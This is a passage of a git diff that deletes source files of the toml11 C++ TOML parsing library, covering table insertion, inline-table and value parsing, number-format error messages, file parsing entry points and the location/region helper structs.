== last) // k is the last key - { - // XXX if the value is array-of-tables, there can be several - // tables that are in the same array. in that case, we need to - // find the last element and insert it to there. - if(is_array_of_table) - { - if(tab->count(k) == 1) // there is already an array of table - { - if(tab->at(k).is_table()) - { - // show special err msg for conflicting table - throw syntax_error(format_underline(concat_to_string( - "toml::insert_value: array of table (\"", - format_dotted_keys(first, last), - "\") cannot be defined"), { - {tab->at(k).location(), "table already defined"}, - {v.location(), "this conflicts with the previous table"} - }), v.location()); - } - else if(!(tab->at(k).is_array())) - { - throw syntax_error(format_underline(concat_to_string( - "toml::insert_value: array of table (\"", - format_dotted_keys(first, last), "\") collides with" - " existing value"), { - {tab->at(k).location(), - concat_to_string("this ", tab->at(k).type(), - " value already exists")}, - {v.location(), - "while inserting this array-of-tables"} - }), v.location()); - } - // the above if-else-if checks tab->at(k) is an array - auto& a = tab->at(k).as_array(); - // If table element is defined as [[array_of_tables]], it - // cannot be an empty array. If an array of tables is - // defined as `aot = []`, it cannot be appended. - if(a.empty() || !(a.front().is_table())) - { - throw syntax_error(format_underline(concat_to_string( - "toml::insert_value: array of table (\"", - format_dotted_keys(first, last), "\") collides with" - " existing value"), { - {tab->at(k).location(), - concat_to_string("this ", tab->at(k).type(), - " value already exists")}, - {v.location(), - "while inserting this array-of-tables"} - }), v.location()); - } - // avoid conflicting array of table like the following. - // ```toml - // a = [{b = 42}] # define a as an array of *inline* tables - // [[a]] # a is an array of *multi-line* tables - // b = 54 - // ``` - // Here, from the type information, these cannot be detected - // because inline table is also a table. - // But toml v0.5.0 explicitly says it is invalid. The above - // array-of-tables has a static size and appending to the - // array is invalid. - // In this library, multi-line table value has a region - // that points to the key of the table (e.g. [[a]]). By - // comparing the first two letters in key, we can detect - // the array-of-table is inline or multiline. - if(const auto ptr = detail::get_region(a.front())) - { - if(ptr->str().substr(0,2) != "[[") - { - throw syntax_error(format_underline(concat_to_string( - "toml::insert_value: array of table (\"", - format_dotted_keys(first, last), "\") collides " - "with existing array-of-tables"), { - {tab->at(k).location(), - concat_to_string("this ", tab->at(k).type(), - " value has static size")}, - {v.location(), - "appending it to the statically sized array"} - }), v.location()); - } - } - a.push_back(v); - return ok(true); - } - else // if not, we need to create the array of table - { - // XXX: Consider the following array of tables. - // ```toml - // # This is a comment. - // [[aot]] - // foo = "bar" - // ``` - // Here, the comment is for `aot`. But here, actually two - // values are defined. An array that contains tables, named - // `aot`, and the 0th element of the `aot`, `{foo = "bar"}`. - // Those two are different from each other. But both of them - // points to the same portion of the TOML file, `[[aot]]`, - // so `key_reg.comments()` returns `# This is a comment`. - // If it is assigned as a comment of `aot` defined here, the - // comment will be duplicated. Both the `aot` itself and - // the 0-th element will have the same comment. This causes - // "duplication of the same comments" bug when the data is - // serialized. - // Next, consider the following. - // ```toml - // # comment 1 - // aot = [ - // # comment 2 - // {foo = "bar"}, - // ] - // ``` - // In this case, we can distinguish those two comments. So - // here we need to add "comment 1" to the `aot` and - // "comment 2" to the 0th element of that. - // To distinguish those two, we check the key region. - std::vector comments{/* empty by default */}; - if(key_reg.str().substr(0, 2) != "[[") - { - comments = key_reg.comments(); - } - value_type aot(array_type(1, v), key_reg, std::move(comments)); - tab->insert(std::make_pair(k, aot)); - return ok(true); - } - } // end if(array of table) - - if(tab->count(k) == 1) - { - if(tab->at(k).is_table() && v.is_table()) - { - if(!is_valid_forward_table_definition( - tab->at(k), v, first, iter, last)) - { - throw syntax_error(format_underline(concat_to_string( - "toml::insert_value: table (\"", - format_dotted_keys(first, last), - "\") already exists."), { - {tab->at(k).location(), "table already exists here"}, - {v.location(), "table defined twice"} - }), v.location()); - } - // to allow the following toml file. - // [a.b.c] - // d = 42 - // [a] - // e = 2.71 - auto& t = tab->at(k).as_table(); - for(const auto& kv : v.as_table()) - { - if(tab->at(k).contains(kv.first)) - { - throw syntax_error(format_underline(concat_to_string( - "toml::insert_value: value (\"", - format_dotted_keys(first, last), - "\") already exists."), { - {t.at(kv.first).location(), "already exists here"}, - {v.location(), "this defined twice"} - }), v.location()); - } - t[kv.first] = kv.second; - } - detail::change_region(tab->at(k), key_reg); - return ok(true); - } - else if(v.is_table() && - tab->at(k).is_array() && - tab->at(k).as_array().size() > 0 && - tab->at(k).as_array().front().is_table()) - { - throw syntax_error(format_underline(concat_to_string( - "toml::insert_value: array of tables (\"", - format_dotted_keys(first, last), "\") already exists."), { - {tab->at(k).location(), "array of tables defined here"}, - {v.location(), "table conflicts with the previous array of table"} - }), v.location()); - } - else - { - throw syntax_error(format_underline(concat_to_string( - "toml::insert_value: value (\"", - format_dotted_keys(first, last), "\") already exists."), { - {tab->at(k).location(), "value already exists here"}, - {v.location(), "value defined twice"} - }), v.location()); - } - } - tab->insert(std::make_pair(k, v)); - return ok(true); - } - else // k is not the last one, we should insert recursively - { - // if there is no corresponding value, insert it first. - // related: you don't need to write - // # [x] - // # [x.y] - // to write - // [x.y.z] - if(tab->count(k) == 0) - { - // a table that is defined implicitly doesn't have any comments. - (*tab)[k] = value_type(table_type{}, key_reg, {/*no comment*/}); - } - - // type checking... - if(tab->at(k).is_table()) - { - // According to toml-lang/toml:36d3091b3 "Clarify that inline - // tables are immutable", check if it adds key-value pair to an - // inline table. - if(const auto* ptr = get_region(tab->at(k))) - { - // here, if the value is a (multi-line) table, the region - // should be something like `[table-name]`. - if(ptr->front() == '{') - { - throw syntax_error(format_underline(concat_to_string( - "toml::insert_value: inserting to an inline table (", - format_dotted_keys(first, std::next(iter)), - ") but inline tables are immutable"), { - {tab->at(k).location(), "inline tables are immutable"}, - {v.location(), "inserting this"} - }), v.location()); - } - } - tab = std::addressof((*tab)[k].as_table()); - } - else if(tab->at(k).is_array()) // inserting to array-of-tables? - { - auto& a = (*tab)[k].as_array(); - if(!a.back().is_table()) - { - throw syntax_error(format_underline(concat_to_string( - "toml::insert_value: target (", - format_dotted_keys(first, std::next(iter)), - ") is neither table nor an array of tables"), { - {a.back().location(), concat_to_string( - "actual type is ", a.back().type())}, - {v.location(), "inserting this"} - }), v.location()); - } - tab = std::addressof(a.back().as_table()); - } - else - { - throw syntax_error(format_underline(concat_to_string( - "toml::insert_value: target (", - format_dotted_keys(first, std::next(iter)), - ") is neither table nor an array of tables"), { - {tab->at(k).location(), concat_to_string( - "actual type is ", tab->at(k).type())}, - {v.location(), "inserting this"} - }), v.location()); - } - } - } - return err(std::string("toml::detail::insert_nested_key: never reach here")); -} - -template -result, std::string> -parse_inline_table(location& loc) -{ - using value_type = Value; - using table_type = typename value_type::table_type; - - const auto first = loc.iter(); - table_type retval; - if(!(loc.iter() != loc.end() && *loc.iter() == '{')) - { - return err(format_underline("toml::parse_inline_table: ", - {{source_location(loc), "the next token is not an inline table"}})); - } - loc.advance(); - - // check if the inline table is an empty table = { } - maybe::invoke(loc); - if(loc.iter() != loc.end() && *loc.iter() == '}') - { - loc.advance(); // skip `}` - return ok(std::make_pair(retval, region(loc, first, loc.iter()))); - } - - // it starts from "{". it should be formatted as inline-table - while(loc.iter() != loc.end()) - { - const auto kv_r = parse_key_value_pair(loc); - if(!kv_r) - { - return err(kv_r.unwrap_err()); - } - - const auto& kvpair = kv_r.unwrap(); - const std::vector& keys = kvpair.first.first; - const auto& key_reg = kvpair.first.second; - const value_type& val = kvpair.second; - - const auto inserted = - insert_nested_key(retval, val, keys.begin(), keys.end(), key_reg); - if(!inserted) - { - throw internal_error("toml::parse_inline_table: " - "failed to insert value into table: " + inserted.unwrap_err(), - source_location(loc)); - } - - using lex_table_separator = sequence, character<','>>; - const auto sp = lex_table_separator::invoke(loc); - - if(!sp) - { - maybe::invoke(loc); - - if(loc.iter() == loc.end()) - { - throw syntax_error(format_underline( - "toml::parse_inline_table: missing table separator `}` ", - {{source_location(loc), "should be `}`"}}), - source_location(loc)); - } - else if(*loc.iter() == '}') - { - loc.advance(); // skip `}` - return ok(std::make_pair( - retval, region(loc, first, loc.iter()))); - } - else if(*loc.iter() == '#' || *loc.iter() == '\r' || *loc.iter() == '\n') - { - throw syntax_error(format_underline( - "toml::parse_inline_table: missing curly brace `}`", - {{source_location(loc), "should be `}`"}}), - source_location(loc)); - } - else - { - throw syntax_error(format_underline( - "toml::parse_inline_table: missing table separator `,` ", - {{source_location(loc), "should be `,`"}}), - source_location(loc)); - } - } - else // `,` is found - { - maybe::invoke(loc); - if(loc.iter() != loc.end() && *loc.iter() == '}') - { - throw syntax_error(format_underline( - "toml::parse_inline_table: trailing comma is not allowed in" - " an inline table", - {{source_location(loc), "should be `}`"}}), - source_location(loc)); - } - } - } - loc.reset(first); - throw syntax_error(format_underline("toml::parse_inline_table: " - "inline table did not closed by `}`", - {{source_location(loc), "should be closed"}}), - source_location(loc)); -} - -inline result guess_number_type(const location& l) -{ - // This function tries to find some (common) mistakes by checking characters - // that follows the last character of a value. But it is often difficult - // because some non-newline characters can appear after a value. E.g. - // spaces, tabs, commas (in an array or inline table), closing brackets - // (of an array or inline table), comment-sign (#). Since this function - // does not parse further, those characters are always allowed to be there. - location loc = l; - - if(lex_offset_date_time::invoke(loc)) {return ok(value_t::offset_datetime);} - loc.reset(l.iter()); - - if(lex_local_date_time::invoke(loc)) - { - // bad offset may appear after this. - if(loc.iter() != loc.end() && (*loc.iter() == '+' || *loc.iter() == '-' - || *loc.iter() == 'Z' || *loc.iter() == 'z')) - { - return err(format_underline("bad offset: should be [+-]HH:MM or Z", - {{source_location(loc), "[+-]HH:MM or Z"}}, - {"pass: +09:00, -05:30", "fail: +9:00, -5:30"})); - } - return ok(value_t::local_datetime); - } - loc.reset(l.iter()); - - if(lex_local_date::invoke(loc)) - { - // bad time may appear after this. - // A space is allowed as a delimiter between local time. But there are - // both cases in which a space becomes valid or invalid. - // - invalid: 2019-06-16 7:00:00 - // - valid : 2019-06-16 07:00:00 - if(loc.iter() != loc.end()) - { - const auto c = *loc.iter(); - if(c == 'T' || c == 't') - { - return err(format_underline("bad time: should be HH:MM:SS.subsec", - {{source_location(loc), "HH:MM:SS.subsec"}}, - {"pass: 1979-05-27T07:32:00, 1979-05-27 07:32:00.999999", - "fail: 1979-05-27T7:32:00, 1979-05-27 17:32"})); - } - if('0' <= c && c <= '9') - { - return err(format_underline("bad time: missing T", - {{source_location(loc), "T or space required here"}}, - {"pass: 1979-05-27T07:32:00, 1979-05-27 07:32:00.999999", - "fail: 1979-05-27T7:32:00, 1979-05-27 7:32"})); - } - if(c == ' ' && std::next(loc.iter()) != loc.end() && - ('0' <= *std::next(loc.iter()) && *std::next(loc.iter())<= '9')) - { - loc.advance(); - return err(format_underline("bad time: should be HH:MM:SS.subsec", - {{source_location(loc), "HH:MM:SS.subsec"}}, - {"pass: 1979-05-27T07:32:00, 1979-05-27 07:32:00.999999", - "fail: 1979-05-27T7:32:00, 1979-05-27 7:32"})); - } - } - return ok(value_t::local_date); - } - loc.reset(l.iter()); - - if(lex_local_time::invoke(loc)) {return ok(value_t::local_time);} - loc.reset(l.iter()); - - if(lex_float::invoke(loc)) - { - if(loc.iter() != loc.end() && *loc.iter() == '_') - { - return err(format_underline("bad float: `_` should be surrounded by digits", - {{source_location(loc), "here"}}, - {"pass: +1.0, -2e-2, 3.141_592_653_589, inf, nan", - "fail: .0, 1., _1.0, 1.0_, 1_.0, 1.0__0"})); - } - return ok(value_t::floating); - } - loc.reset(l.iter()); - - if(lex_integer::invoke(loc)) - { - if(loc.iter() != loc.end()) - { - const auto c = *loc.iter(); - if(c == '_') - { - return err(format_underline("bad integer: `_` should be surrounded by digits", - {{source_location(loc), "here"}}, - {"pass: -42, 1_000, 1_2_3_4_5, 0xC0FFEE, 0b0010, 0o755", - "fail: 1__000, 0123"})); - } - if('0' <= c && c <= '9') - { - // leading zero. point '0' - loc.retrace(); - return err(format_underline("bad integer: leading zero", - {{source_location(loc), "here"}}, - {"pass: -42, 1_000, 1_2_3_4_5, 0xC0FFEE, 0b0010, 0o755", - "fail: 1__000, 0123"})); - } - if(c == ':' || c == '-') - { - return err(format_underline("bad datetime: invalid format", - {{source_location(loc), "here"}}, - {"pass: 1979-05-27T07:32:00-07:00, 1979-05-27 07:32:00.999999Z", - "fail: 1979-05-27T7:32:00-7:00, 1979-05-27 7:32-00:30"})); - } - if(c == '.' || c == 'e' || c == 'E') - { - return err(format_underline("bad float: invalid format", - {{source_location(loc), "here"}}, - {"pass: +1.0, -2e-2, 3.141_592_653_589, inf, nan", - "fail: .0, 1., _1.0, 1.0_, 1_.0, 1.0__0"})); - } - } - return ok(value_t::integer); - } - if(loc.iter() != loc.end() && *loc.iter() == '.') - { - return err(format_underline("bad float: invalid format", - {{source_location(loc), "integer part required before this"}}, - {"pass: +1.0, -2e-2, 3.141_592_653_589, inf, nan", - "fail: .0, 1., _1.0, 1.0_, 1_.0, 1.0__0"})); - } - if(loc.iter() != loc.end() && *loc.iter() == '_') - { - return err(format_underline("bad number: `_` should be surrounded by digits", - {{source_location(loc), "`_` is not surrounded by digits"}}, - {"pass: -42, 1_000, 1_2_3_4_5, 0xC0FFEE, 0b0010, 0o755", - "fail: 1__000, 0123"})); - } - return err(format_underline("bad format: unknown value appeared", - {{source_location(loc), "here"}})); -} - -inline result guess_value_type(const location& loc) -{ - switch(*loc.iter()) - { - case '"' : {return ok(value_t::string); } - case '\'': {return ok(value_t::string); } - case 't' : {return ok(value_t::boolean); } - case 'f' : {return ok(value_t::boolean); } - case '[' : {return ok(value_t::array); } - case '{' : {return ok(value_t::table); } - case 'i' : {return ok(value_t::floating);} // inf. - case 'n' : {return ok(value_t::floating);} // nan. - default : {return guess_number_type(loc);} - } -} - -template -result -parse_value_helper(result, std::string> rslt) -{ - if(rslt.is_ok()) - { - auto comments = rslt.as_ok().second.comments(); - return ok(Value(std::move(rslt.as_ok()), std::move(comments))); - } - else - { - return err(std::move(rslt.as_err())); - } -} - -template -result parse_value(location& loc) -{ - const auto first = loc.iter(); - if(first == loc.end()) - { - return err(format_underline("toml::parse_value: input is empty", - {{source_location(loc), ""}})); - } - - const auto type = guess_value_type(loc); - if(!type) - { - return err(type.unwrap_err()); - } - - switch(type.unwrap()) - { - case value_t::boolean : {return parse_value_helper(parse_boolean(loc) );} - case value_t::integer : {return parse_value_helper(parse_integer(loc) );} - case value_t::floating : {return parse_value_helper(parse_floating(loc) );} - case value_t::string : {return parse_value_helper(parse_string(loc) );} - case value_t::offset_datetime: {return parse_value_helper(parse_offset_datetime(loc) );} - case value_t::local_datetime : {return parse_value_helper(parse_local_datetime(loc) );} - case value_t::local_date : {return parse_value_helper(parse_local_date(loc) );} - case value_t::local_time : {return parse_value_helper(parse_local_time(loc) );} - case value_t::array : {return parse_value_helper(parse_array(loc) );} - case value_t::table : {return parse_value_helper(parse_inline_table(loc));} - default: - { - const auto msg = format_underline("toml::parse_value: " - "unknown token appeared", {{source_location(loc), "unknown"}}); - loc.reset(first); - return err(msg); - } - } -} - -inline result, region>, std::string> -parse_table_key(location& loc) -{ - if(auto token = lex_std_table::invoke(loc)) - { - location inner_loc(loc.name(), token.unwrap().str()); - - const auto open = lex_std_table_open::invoke(inner_loc); - if(!open || inner_loc.iter() == inner_loc.end()) - { - throw internal_error(format_underline( - "toml::parse_table_key: no `[`", - {{source_location(inner_loc), "should be `[`"}}), - source_location(inner_loc)); - } - // to skip [ a . b . c ] - // ^----------- this whitespace - lex_ws::invoke(inner_loc); - const auto keys = parse_key(inner_loc); - if(!keys) - { - throw internal_error(format_underline( - "toml::parse_table_key: invalid key", - {{source_location(inner_loc), "not key"}}), - source_location(inner_loc)); - } - // to skip [ a . b . c ] - // ^-- this whitespace - lex_ws::invoke(inner_loc); - const auto close = lex_std_table_close::invoke(inner_loc); - if(!close) - { - throw internal_error(format_underline( - "toml::parse_table_key: no `]`", - {{source_location(inner_loc), "should be `]`"}}), - source_location(inner_loc)); - } - - // after [table.key], newline or EOF(empty table) required. - if(loc.iter() != loc.end()) - { - using lex_newline_after_table_key = - sequence, maybe, lex_newline>; - const auto nl = lex_newline_after_table_key::invoke(loc); - if(!nl) - { - throw syntax_error(format_underline( - "toml::parse_table_key: newline required after [table.key]", - {{source_location(loc), "expected newline"}}), - source_location(loc)); - } - } - return ok(std::make_pair(keys.unwrap().first, token.unwrap())); - } - else - { - return err(format_underline("toml::parse_table_key: " - "not a valid table key", {{source_location(loc), "here"}})); - } -} - -inline result, region>, std::string> -parse_array_table_key(location& loc) -{ - if(auto token = lex_array_table::invoke(loc)) - { - location inner_loc(loc.name(), token.unwrap().str()); - - const auto open = lex_array_table_open::invoke(inner_loc); - if(!open || inner_loc.iter() == inner_loc.end()) - { - throw internal_error(format_underline( - "toml::parse_array_table_key: no `[[`", - {{source_location(inner_loc), "should be `[[`"}}), - source_location(inner_loc)); - } - lex_ws::invoke(inner_loc); - const auto keys = parse_key(inner_loc); - if(!keys) - { - throw internal_error(format_underline( - "toml::parse_array_table_key: invalid key", - {{source_location(inner_loc), "not a key"}}), - source_location(inner_loc)); - } - lex_ws::invoke(inner_loc); - const auto close = lex_array_table_close::invoke(inner_loc); - if(!close) - { - throw internal_error(format_underline( - "toml::parse_table_key: no `]]`", - {{source_location(inner_loc), "should be `]]`"}}), - source_location(inner_loc)); - } - - // after [[table.key]], newline or EOF(empty table) required. - if(loc.iter() != loc.end()) - { - using lex_newline_after_table_key = - sequence, maybe, lex_newline>; - const auto nl = lex_newline_after_table_key::invoke(loc); - if(!nl) - { - throw syntax_error(format_underline("toml::" - "parse_array_table_key: newline required after [[table.key]]", - {{source_location(loc), "expected newline"}}), - source_location(loc)); - } - } - return ok(std::make_pair(keys.unwrap().first, token.unwrap())); - } - else - { - return err(format_underline("toml::parse_array_table_key: " - "not a valid table key", {{source_location(loc), "here"}})); - } -} - -// parse table body (key-value pairs until the iter hits the next [tablekey]) -template -result -parse_ml_table(location& loc) -{ - using value_type = Value; - using table_type = typename value_type::table_type; - - const auto first = loc.iter(); - if(first == loc.end()) - { - return ok(table_type{}); - } - - // XXX at lest one newline is needed. - using skip_line = repeat< - sequence, maybe, lex_newline>, at_least<1>>; - skip_line::invoke(loc); - lex_ws::invoke(loc); - - table_type tab; - while(loc.iter() != loc.end()) - { - lex_ws::invoke(loc); - const auto before = loc.iter(); - if(const auto tmp = parse_array_table_key(loc)) // next table found - { - loc.reset(before); - return ok(tab); - } - if(const auto tmp = parse_table_key(loc)) // next table found - { - loc.reset(before); - return ok(tab); - } - - if(const auto kv = parse_key_value_pair(loc)) - { - const auto& kvpair = kv.unwrap(); - const std::vector& keys = kvpair.first.first; - const auto& key_reg = kvpair.first.second; - const value_type& val = kvpair.second; - const auto inserted = - insert_nested_key(tab, val, keys.begin(), keys.end(), key_reg); - if(!inserted) - { - return err(inserted.unwrap_err()); - } - } - else - { - return err(kv.unwrap_err()); - } - - // comment lines are skipped by the above function call. - // However, since the `skip_line` requires at least 1 newline, it fails - // if the file ends with ws and/or comment without newline. - // `skip_line` matches `ws? + comment? + newline`, not `ws` or `comment` - // itself. To skip the last ws and/or comment, call lexers. - // It does not matter if these fails, so the return value is discarded. - lex_ws::invoke(loc); - lex_comment::invoke(loc); - - // skip_line is (whitespace? comment? newline)_{1,}. multiple empty lines - // and comments after the last key-value pairs are allowed. - const auto newline = skip_line::invoke(loc); - if(!newline && loc.iter() != loc.end()) - { - const auto before2 = loc.iter(); - lex_ws::invoke(loc); // skip whitespace - const auto msg = format_underline("toml::parse_table: " - "invalid line format", {{source_location(loc), concat_to_string( - "expected newline, but got '", show_char(*loc.iter()), "'.")}}); - loc.reset(before2); - return err(msg); - } - - // the skip_lines only matches with lines that includes newline. - // to skip the last line that includes comment and/or whitespace - // but no newline, call them one more time. - lex_ws::invoke(loc); - lex_comment::invoke(loc); - } - return ok(tab); -} - -template -result parse_toml_file(location& loc) -{ - using value_type = Value; - using table_type = typename value_type::table_type; - - const auto first = loc.iter(); - if(first == loc.end()) - { - // For empty files, return an empty table with an empty region (zero-length). - // Without the region, error messages would miss the filename. - return ok(value_type(table_type{}, region(loc, first, first), {})); - } - - // put the first line as a region of a file - // Here first != loc.end(), so taking std::next is okay - const region file(loc, first, std::next(loc.iter())); - - // The first successive comments that are separated from the first value - // by an empty line are for a file itself. - // ```toml - // # this is a comment for a file. - // - // key = "the first value" - // ``` - // ```toml - // # this is a comment for "the first value". - // key = "the first value" - // ``` - std::vector comments; - using lex_first_comments = sequence< - repeat, lex_comment, lex_newline>, at_least<1>>, - sequence, lex_newline> - >; - if(const auto token = lex_first_comments::invoke(loc)) - { - location inner_loc(loc.name(), token.unwrap().str()); - while(inner_loc.iter() != inner_loc.end()) - { - maybe::invoke(inner_loc); // remove ws if exists - if(lex_newline::invoke(inner_loc)) - { - assert(inner_loc.iter() == inner_loc.end()); - break; // empty line found. - } - auto com = lex_comment::invoke(inner_loc).unwrap().str(); - com.erase(com.begin()); // remove # sign - comments.push_back(std::move(com)); - lex_newline::invoke(inner_loc); - } - } - - table_type data; - // root object is also a table, but without [tablename] - if(const auto tab = parse_ml_table(loc)) - { - data = std::move(tab.unwrap()); - } - else // failed (empty table is regarded as success in parse_ml_table) - { - return err(tab.unwrap_err()); - } - while(loc.iter() != loc.end()) - { - // here, the region of [table] is regarded as the table-key because - // the table body is normally too big and it is not so informative - // if the first key-value pair of the table is shown in the error - // message. - if(const auto tabkey = parse_array_table_key(loc)) - { - const auto tab = parse_ml_table(loc); - if(!tab){return err(tab.unwrap_err());} - - const auto& tk = tabkey.unwrap(); - const auto& keys = tk.first; - const auto& reg = tk.second; - - const auto inserted = insert_nested_key(data, - value_type(tab.unwrap(), reg, reg.comments()), - keys.begin(), keys.end(), reg, - /*is_array_of_table=*/ true); - if(!inserted) {return err(inserted.unwrap_err());} - - continue; - } - if(const auto tabkey = parse_table_key(loc)) - { - const auto tab = parse_ml_table(loc); - if(!tab){return err(tab.unwrap_err());} - - const auto& tk = tabkey.unwrap(); - const auto& keys = tk.first; - const auto& reg = tk.second; - - const auto inserted = insert_nested_key(data, - value_type(tab.unwrap(), reg, reg.comments()), - keys.begin(), keys.end(), reg); - if(!inserted) {return err(inserted.unwrap_err());} - - continue; - } - return err(format_underline("toml::parse_toml_file: " - "unknown line appeared", {{source_location(loc), "unknown format"}})); - } - - return ok(Value(std::move(data), file, comments)); -} - -} // detail - -template class Table = std::unordered_map, - template class Array = std::vector> -basic_value -parse(std::istream& is, const std::string& fname = "unknown file") -{ - using value_type = basic_value; - - const auto beg = is.tellg(); - is.seekg(0, std::ios::end); - const auto end = is.tellg(); - const auto fsize = end - beg; - is.seekg(beg); - - // read whole file as a sequence of char - assert(fsize >= 0); - std::vector letters(static_cast(fsize)); - is.read(letters.data(), fsize); - - // append LF. - // Although TOML does not require LF at the EOF, to make parsing logic - // simpler, we "normalize" the content by adding LF if it does not exist. - // It also checks if the last char is CR, to avoid changing the meaning. - // This is not the *best* way to deal with the last character, but is a - // simple and quick fix. - if(!letters.empty() && letters.back() != '\n' && letters.back() != '\r') - { - letters.push_back('\n'); - } - - detail::location loc(std::move(fname), std::move(letters)); - - // skip BOM if exists. - // XXX component of BOM (like 0xEF) exceeds the representable range of - // signed char, so on some (actually, most) of the environment, these cannot - // be compared to char. However, since we are always out of luck, we need to - // check our chars are equivalent to BOM. To do this, first we need to - // convert char to unsigned char to guarantee the comparability. - if(loc.source()->size() >= 3) - { - std::array BOM; - std::memcpy(BOM.data(), loc.source()->data(), 3); - if(BOM[0] == 0xEF && BOM[1] == 0xBB && BOM[2] == 0xBF) - { - loc.advance(3); // BOM found. skip. - } - } - - const auto data = detail::parse_toml_file(loc); - if(!data) - { - throw syntax_error(data.unwrap_err(), source_location(loc)); - } - return data.unwrap(); -} - -template class Table = std::unordered_map, - template class Array = std::vector> -basic_value parse(const std::string& fname) -{ - std::ifstream ifs(fname.c_str(), std::ios_base::binary); - if(!ifs.good()) - { - throw std::runtime_error("toml::parse: file open error -> " + fname); - } - return parse(ifs, fname); -} - -#ifdef TOML11_HAS_STD_FILESYSTEM -// This function just forwards `parse("filename.toml")` to std::string version -// to avoid the ambiguity in overload resolution. -// -// Both std::string and std::filesystem::path are convertible from const char*. -// Without this, both parse(std::string) and parse(std::filesystem::path) -// matches to parse("filename.toml"). This breaks the existing code. -// -// This function exactly matches to the invocation with c-string. -// So this function is preferred than others and the ambiguity disappears. -template class Table = std::unordered_map, - template class Array = std::vector> -basic_value parse(const char* fname) -{ - return parse(std::string(fname)); -} - -template class Table = std::unordered_map, - template class Array = std::vector> -basic_value parse(const std::filesystem::path& fpath) -{ - std::ifstream ifs(fpath, std::ios_base::binary); - if(!ifs.good()) - { - throw std::runtime_error("toml::parse: file open error -> " + - fpath.string()); - } - return parse(ifs, fpath.string()); -} -#endif // TOML11_HAS_STD_FILESYSTEM - -} // toml -#endif// TOML11_PARSER_HPP diff --git a/src/toml11/toml/region.hpp b/src/toml11/toml/region.hpp deleted file mode 100644 index 2e01e51d0..000000000 --- a/src/toml11/toml/region.hpp +++ /dev/null @@ -1,417 +0,0 @@ -// Copyright Toru Niina 2017. -// Distributed under the MIT License. -#ifndef TOML11_REGION_HPP -#define TOML11_REGION_HPP -#include -#include -#include -#include -#include -#include -#include -#include "color.hpp" - -namespace toml -{ -namespace detail -{ - -// helper function to avoid std::string(0, 'c') or std::string(iter, iter) -template -std::string make_string(Iterator first, Iterator last) -{ - if(first == last) {return "";} - return std::string(first, last); -} -inline std::string make_string(std::size_t len, char c) -{ - if(len == 0) {return "";} - return std::string(len, c); -} - -// region_base is a base class of location and region that are defined below. -// it will be used to generate better error messages. -struct region_base -{ - region_base() = default; - virtual ~region_base() = default; - region_base(const region_base&) = default; - region_base(region_base&& ) = default; - region_base& operator=(const region_base&) = default; - region_base& operator=(region_base&& ) = default; - - virtual bool is_ok() const noexcept {return false;} - virtual char front() const noexcept {return '\0';} - - virtual std::string str() const {return std::string("unknown region");} - virtual std::string name() const {return std::string("unknown file");} - virtual std::string line() const {return std::string("unknown line");} - virtual std::string line_num() const {return std::string("?");} - - // length of the region - virtual std::size_t size() const noexcept {return 0;} - // number of characters in the line before the region - virtual std::size_t before() const noexcept {return 0;} - // number of characters in the line after the region - virtual std::size_t after() const noexcept {return 0;} - - virtual std::vector comments() const {return {};} - // ```toml - // # comment_before - // key = "value" # comment_inline - // ``` -}; - -// location represents a position in a container, which contains a file content. -// it can be considered as a region that contains only one character. -// -// it contains pointer to the file content and iterator that points the current -// location. -struct location final : public region_base -{ - using const_iterator = typename std::vector::const_iterator; - using difference_type = typename const_iterator::difference_type; - using source_ptr = std::shared_ptr>; - - location(std::string source_name, std::vector cont) - : source_(std::make_shared>(std::move(cont))), - line_number_(1), source_name_(std::move(source_name)), iter_(source_->cbegin()) - {} - location(std::string source_name, const std::string& cont) - : source_(std::make_shared>(cont.begin(), cont.end())), - line_number_(1), source_name_(std::move(source_name)), iter_(source_->cbegin()) - {} - - location(const location&) = default; - location(location&&) = default; - location& operator=(const location&) = default; - location& operator=(location&&) = default; - ~location() = default; - - bool is_ok() const noexcept override {return static_cast(source_);} - char front() const noexcept override {return *iter_;} - - // this const prohibits codes like `++(loc.iter())`. - const const_iterator iter() const noexcept {return iter_;} - - const_iterator begin() const noexcept {return source_->cbegin();} - const_iterator end() const noexcept {return source_->cend();} - - // XXX `location::line_num()` used to be implemented using `std::count` to - // count a number of '\n'. But with a long toml file (typically, 10k lines), - // it becomes intolerably slow because each time it generates error messages, - // it counts '\n' from thousands of characters. To workaround it, I decided - // to introduce `location::line_number_` member variable and synchronize it - // to the location changes the point to look. So an overload of `iter()` - // which returns mutable reference is removed and `advance()`, `retrace()` - // and `reset()` is added. - void advance(difference_type n = 1) noexcept - { - this->line_number_ += static_cast( - std::count(this->iter_, std::next(this->iter_, n), '\n')); - this->iter_ += n; - return; - } - void retrace(difference_type n = 1) noexcept - { - this->line_number_ -= static_cast( - std::count(std::prev(this->iter_, n), this->iter_, '\n')); - this->iter_ -= n; - return; - } - void reset(const_iterator rollback) noexcept - { - // since c++11, std::distance works in both ways for random-access - // iterators and returns a negative value if `first > last`. - if(0 <= std::distance(rollback, this->iter_)) // rollback < iter - { - this->line_number_ -= static_cast( - std::count(rollback, this->iter_, '\n')); - } - else // iter < rollback [[unlikely]] - { - this->line_number_ += static_cast( - std::count(this->iter_, rollback, '\n')); - } - this->iter_ = rollback; - return; - } - - std::string str() const override {return make_string(1, *this->iter());} - std::string name() const override {return source_name_;} - - std::string line_num() const override - { - return std::to_string(this->line_number_); - } - - std::string line() const override - { - return make_string(this->line_begin(), this->line_end()); - } - - const_iterator line_begin() const noexcept - { - using reverse_iterator = std::reverse_iterator; - return std::find(reverse_iterator(this->iter()), - reverse_iterator(this->begin()), '\n').base(); - } - const_iterator line_end() const noexcept - { - return std::find(this->iter(), this->end(), '\n'); - } - - // location is always points a character. so the size is 1. - std::size_t size() const noexcept override - { - return 1u; - } - std::size_t before() const noexcept override - { - const auto sz = std::distance(this->line_begin(), this->iter()); - assert(sz >= 0); - return static_cast(sz); - } - std::size_t after() const noexcept override - { - const auto sz = std::distance(this->iter(), this->line_end()); - assert(sz >= 0); - return static_cast(sz); - } - - source_ptr const& source() const& noexcept {return source_;} - source_ptr&& source() && noexcept {return std::move(source_);} - - private: - - source_ptr source_; - std::size_t line_number_; - std::string source_name_; - const_iterator iter_; -}; - -// region represents a range in a container, which contains a file content. -// -// it contains pointer to the file content and iterator that points the first -// and last location. -struct region final : public region_base -{ - using const_iterator = typename std::vector::const_iterator; - using source_ptr = std::shared_ptr>; - - // delete default constructor. source_ never be null. - region() = delete; - - explicit region(const location& loc) - : source_(loc.source()), source_name_(loc.name()), - first_(loc.iter()), last_(loc.iter()) - {} - explicit region(location&& loc) - : source_(loc.source()), source_name_(loc.name()), - first_(loc.iter()), last_(loc.iter()) - {} - - region(const location& loc, const_iterator 